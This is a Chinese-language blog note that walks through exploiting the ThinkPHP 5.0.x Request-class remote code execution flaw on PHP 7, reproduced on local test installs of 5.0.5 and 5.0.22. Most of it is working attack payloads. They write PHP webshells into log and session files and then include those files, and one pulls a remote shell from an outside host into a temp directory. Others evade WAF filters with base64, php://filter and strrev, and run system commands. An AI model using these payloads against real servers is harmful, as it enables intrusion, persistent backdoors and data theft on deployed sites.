天天看點

ThinkPHP5.0.X RCE PHP7 利用方式

這篇筆記分類總結了在 php7 并且有 disable_funtion 或waf 的環境下如何利用 thinkphp5.0.x 的 rce。第六節隻歸納出列印 phpinfo 或執行 calc 的 payload,詳細寫 shell 的 payload 根據不同的過濾強度記錄在 3.1、3.2、3.3、4.1、4.2 小節的複現過程中。筆記參考了很多師傅的部落格,隻是自己理順思路、複現漏洞的記錄,所有參考文章已貼在最後。(這篇随筆就是上篇搭環境提到的學長的任務)

一、實驗環境

  • PHP 7.3.4
  • Windows 10
  • ThinkPHP 5.0.5 完整版

    下載下傳位址:http://www.thinkphp.cn/donate/download/id/870.html

  • ThinkPHP 5.0.22 完整版

    下載下傳位址:http://www.thinkphp.cn/donate/download/id/1260.html

二、基本流程分析

thinkphp5.0.5 和 thinkphp5.0.22 的代碼在基本流程上沒有差別,這裡以 5.0.22 版本為例進行代碼分析,由于 thinkphp 架構的請求都先經過 public/index.php,index.php 首先定義了 APP_PATH 常量,是 application 檔案夾的路徑,接着包含了架構引導檔案 start.php

ThinkPHP5.0.X RCE PHP7 利用方式

跟進 start.php,包含了一個 base.php 加載基礎檔案,然後調用 App::run()->send() 來執行應用

ThinkPHP5.0.X RCE PHP7 利用方式

跟進 base.php,先是定義了一些 thinkphp 中用到的常量,然後載入 Loader 類、加載環境變量配置檔案、注冊自動加載、注冊錯誤和異常處理機制、加載慣例配置檔案

ThinkPHP5.0.X RCE PHP7 利用方式

跟進注冊自動加載的 register 函數

ThinkPHP5.0.X RCE PHP7 利用方式

接着跟進 Loder::autoload() 函數,關鍵代碼在 82 行的 findFile($class) 函數查找類,85 行的 __indlue__file($file) 将找到的檔案包含進來實作自動加載

ThinkPHP5.0.X RCE PHP7 利用方式
ThinkPHP5.0.X RCE PHP7 利用方式
ThinkPHP5.0.X RCE PHP7 利用方式

是以在 thinkphp5.0.x+php7 的實戰環境下,當 disable_function 限制了大量函數的時候,可以調用 Loader.php 中的 __include__file 來包含一些日志檔案或者 session 檔案來 getshell。

三、包含日志getshell

3.1本地複現(5.0.5)

thinkphp5.0.5 環境下複現,列印 phpinfo

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo      
ThinkPHP5.0.X RCE PHP7 利用方式

寫 shell 到日志檔案中

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['apple']); ?>      
ThinkPHP5.0.X RCE PHP7 利用方式

包含日志檔案 getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=phpinfo();      
ThinkPHP5.0.X RCE PHP7 利用方式

但是由于一句話和日志混在一起的,日志基本很大,還可能寫入令 php 解析錯誤的垃圾資料,是以通過一句話 copy 新一句話檔案

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=echo copy("https://www.xxx.com/1.txt","D:/Major/phpstudy_pro/WWW/thinkphp_5.0.5_full/ant.php");      
ThinkPHP5.0.X RCE PHP7 利用方式
ThinkPHP5.0.X RCE PHP7 利用方式

但是如果有嚴格的安全限制,比如不能含有 eval 等、日志檔案很快被覆寫、網站目錄被設定防篡改無法寫入檔案,這時的思路是,把一個遠端 shell 寫入可寫目錄,再去包含真正的 shell,即可繞過。首先在遠端開一個 httpserver,加一層 url 編碼防止被攔截,把 shell 寫入 C:\Windows\Temp 目錄

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=file_put_contents(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70%5C%61%6E%74"),fopen("https://www.xxx.com/1.txt",'r'));      
ThinkPHP5.0.X RCE PHP7 利用方式

檢視一下木馬,确定成功寫入,因為直接 var_dump(scandir('C:\Windows\Temp')) 可能會被攔截,是以借助中間變量繞過

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=$a="var_dump";$a(scandir(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70")));      
ThinkPHP5.0.X RCE PHP7 利用方式

然後再次包含 C:\Windows\Temp\ant

/?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=C:\Windows\Temp\ant&ant=phpinfo();      
ThinkPHP5.0.X RCE PHP7 利用方式

如果 thinkphp5.0.5 版本不是完整版,沒有 captcha 路由,post 位址為 /index.php/index 也可以包含日志 getshell

/index.php/index
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo      

3.2本地複現(5.0.22開啟debug)

在 application/config.php 檔案中開啟 debug

ThinkPHP5.0.X RCE PHP7 利用方式

列印 phpinfo(這裡的 phpinfo 資訊不完整)

/index.php/index
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111      
ThinkPHP5.0.X RCE PHP7 利用方式

讀取日志

/index.php/index
_method=__construct&filter[]=readfile&server[REQUEST_METHOD]=../runtime/log/202012/04.log      
ThinkPHP5.0.X RCE PHP7 利用方式
/index.php/index
_method=__construct&filter[]=call_user_func&server[REQUEST_METHOD]=<?php @eval($_POST['cmd']);?>      
ThinkPHP5.0.X RCE PHP7 利用方式
/index.php/index
_method=__construct&filter[]=think\__include_file&server[REQUEST_METHOD]=../runtime/log/202012/04.log&cmd=phpinfo();      

3.3本地複現(5.0.22)

有 captcha 路由時,無需開啟 debug 即可 getshell

/index.php?s=captcha
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111&method=get      
ThinkPHP5.0.X RCE PHP7 利用方式

寫 shell 到日志檔案中、包含日志檔案 getshell 步驟與 3.1、3.2 小節同理,這裡就不重複實驗了。

四、包含session檔案getshell

4.1本地複現(簡單模式)

經實驗 thinkphp5.0.5 和 5.0.22 版本都可以複現,這裡以 5.0.5 版本的截圖為例,首先找到目标 session 儲存的位置,一般在 phpinfo 的 session.save_path 有記錄

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo      
ThinkPHP5.0.X RCE PHP7 利用方式

寫 shell 到 session 中

/index.php?s=captcha
Cookie: PHPSESSID=505test
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1      
ThinkPHP5.0.X RCE PHP7 利用方式

包含 session 檔案 getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=D:\Major\phpstudy_pro\Extensions\tmp\tmp\sess_505test&server[]=1&cmd=passthru('ipconfig');      
ThinkPHP5.0.X RCE PHP7 利用方式

4.2本地複現(困難模式)

但如果 disable_function 禁用了很多函數,并且有 waf,攔截了以下内容

php标記:
<?php
<?=
<?

php函數:
base64_decode
file_get_contents
convert_uuencode

關鍵字:
php://      

繞過 php 标記的思路為,對将要寫入 session 檔案的一句話木馬編碼

PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 
<?php @eval($_GET['r']);;?>      

因為最終的利用是通過 inlcude 方法進行包含,是以想到可以利用 php://filter/read=convert.base64-decode/resource=D:/Major/phpstudy_pro/Extensions/tmp/tmp/sess_505test2 的方式進行解碼,但是 session 裡面會包含其他字元,談一談php://filter的妙用 文章有談到如何構造合适的字元,使得 webshell 能夠正确被 base64 解碼。是以設定 session 為

POST /?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1      

(注意:

  • 這裡的 + 号需要用 urlencode 編碼為 %2b,不然會在寫入 session 的時候被 urldecode 為空格,導緻編碼解碼失敗
  • 用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 解碼後為 <?php @eval($_GET['r']);;?> 而不用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= 解碼後為 <?php @eval($_GET['r']);?> 的原因是直接使用前者無論怎麼拼湊字元,都沒法正常解碼
  • payload 前後有兩個 ab 是為了讓 shell payload 的前後兩串字元串滿足 base64 解碼的長度,使其能正常解碼

繞過 php:// 關鍵字需要審計源碼的 Request.php 的 filterValue 方法是如何執行代碼的,/thinkphp/library/think/Request.php 的 $value = call_user_func($filter, $value); 打斷點,post 如下資料發現 filter 是可以傳遞多個的,同時參數為引用傳遞

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo      
ThinkPHP5.0.X RCE PHP7 利用方式

是以可以傳遞多個 filter 來對 value 進行多次傳遞處理,如先 base64_decode 後再将解碼後的值傳遞給 include 進行包含,又因為 waf 對 base64_decode 這個函數進行了過濾的,可以多傳遞一個參數使用 strrev 反轉函數繞過

<?php @eval(base64_decode($_GET['r']));;?>
base64:
PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8+
urlencode編碼:
PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2b      

最終用 php://filter、base64 兩次編碼和 strrev() 反轉函數繞過,寫 shell 到 session 中

/index.php/?s=captcha
Cookie: PHPSESSID=505test2
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1      
ThinkPHP5.0.X RCE PHP7 利用方式
/index.php/?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=2tset505_sses/pmt/pmt/snoisnetxE/orp_ydutsphp/rojaM/:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php      
ThinkPHP5.0.X RCE PHP7 利用方式

五、代碼分析

ThinkPHP 5.0.0~5.0.23 Request類任意方法調用導緻RCE漏洞分析 分析了漏洞的成因和 poc 的構造,又由于 thinkphp<=5.0.12 和 5.0.12<thinkphp<5.0.24 版本在實作細節上有一些不同,導緻漏洞利用方式不同,是以 5.0.13 版本之後通常需要開啟 debug 才能 rce,Thinkphp5 RCE總結 列舉了各個版本的 rce,比較分析了 5.0.5 和 5.0.22 的版本和 debug 選項的關系。(師傅們是最強的!我再好好學學 php 一定跟一遍!)

六、payload總結

thinkphp<=5.0.12 時 payload 如下

/index.php?s=captcha
/index.php/index(無captcha路由)
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo      

5.0.12<thinkphp<5.0.24 并開啟 debug 時 payload 如下

?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc      

5.0.12<thinkphp<5.0.24 有 captcha 路由,無需開啟 debug 時 payload 如下

?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get      

參考文章

https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247484802&idx=1&sn=7db0b7acc809bc312f4ad89a718cd2d7

https://blog.csdn.net/qq_41891666/article/details/109505570

https://www.mrwu.red/web/3348.html

http://www.0x3.biz/tag/ThinkPHP5%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

https://www.cnblogs.com/whoami101/archive/2004/01/13/13364884.html

https://forum.90sec.com/t/topic/704

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://www.cnblogs.com/timelesszhuang/p/3682767.html

https://xz.aliyun.com/t/6106

https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/